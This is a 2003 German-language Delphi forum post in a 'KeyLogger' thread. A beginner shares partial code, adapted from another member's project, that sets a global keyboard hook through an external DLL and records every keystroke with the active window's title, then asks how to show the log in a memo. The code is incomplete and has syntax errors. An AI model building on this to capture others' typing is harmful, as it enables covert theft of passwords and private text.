Thema: KeyLogger

Einzelnen Beitrag anzeigen

daniel-volk

Registriert seit: 16. Jul 2003
170 Beiträge
 
Delphi 6 Enterprise
 
#11

Re: KeyLogger

  Alt 11. Sep 2003, 14:55
Danke erst einmal für deine Antwort. Aber ich bin (leider) praktisch nur das Programmieren in Units gewohnt. Dennoch hab ich mal mein Bestes versucht und die (meiner Meinung nach) wichtigen Teile aus Luckie's Projekt in meins gestopft.
Wie schaffe ich es jetzt aber, dass die Sachen auch in meiner Unit1 im Memo-Feld erscheinen? Soll ich dafür einen Timer bauen, der ständig irgendwie die Windows Message WM_KEYBOARD_HOOK abfragt? Oder geht das eleganter?
Zitat:
Diese fängst du in deiner WndProc ab und im wParam der Message hast du dann das Zeichen drin stehen.
Das hört sich irgendwie sehr kompliziert an. Kann mir das mal jemand erklären, wie ich das zu verstehen hab?

Mein Projekt-Quellcode (der viel von Luckie enthält) sieht bis jetzt jedenfalls so aus:
Delphi-Quellcode:
program Project2;

uses
  Forms,
  Unit1 in 'Unit1.pas{Form1}, windows, messages;

const
  WM_KEYBOARD_HOOK = WM_USER + 52012;
  IDC_EDTLOGGER = 102;

var
  WndTitleOld: string = '';

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';


{$R *.res}

function dlgfunc(hDlg: hWnd; uMsg: dword; wParam: wParam; lParam: lParam): bool;
  stdcall;
var
  MyFont: HFONT;
  s: string;
  TextLength: Integer;
  Buffer: PChar;
  EditText: string;
  WndTitle: array[0..255] of Char;

begin
  result := true;
  case uMsg of
    WM_KEYBOARD_HOOK:
      begin
        TextLength := SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXTLENGTH,
          0, 0);
        GetMem(Buffer, TextLength + 2);
        try
          SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXT, TextLength + 2,
            Integer(Buffer));
          case wParam of
            VK_RETURN: EditText := string(Buffer) + #13#10;
            VK_BACK:
              begin
                EditText := string(Buffer);
                Delete(EditText, length(EditText), 1);
              end;
            VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL: EditText :=
              string(Buffer);
          else
            EditText := string(Buffer) + string(Chr(wParam));
          end;
          GetWindowText(lParam, @WndTitle, SizeOf(WndTitle));
          if WndTitleOld <> string(WndTitle) then
          begin
            Delete(EditText, length(EditText), 1);
            EditText := EditText + #13#10 + '[' + string(WndTitle) + ']' + #13#10
              + string(Chr(wParam));
            WndTitleOld := string(WndTitle);
          end;
          SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_SETTEXT, 0,
            Integer(@EditText[1]));
        finally
          FreeMem(Buffer);
        end;
      end;
  else
    result := false;
  end;
end;

begin
  CreateHook(Application.Handle,true);
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  DeleteHook;
end.
Sorry für die vielen dummen Fragen, aber ich programmiere noch nicht sehr lange und hab daher z.T. Probleme manche überaus komplexen Prozeduren etc zu verstehen
Aber ich bemühe mich zumindest, alles so gut es geht zu verstehen

Danke!
  Mit Zitat antworten Zitat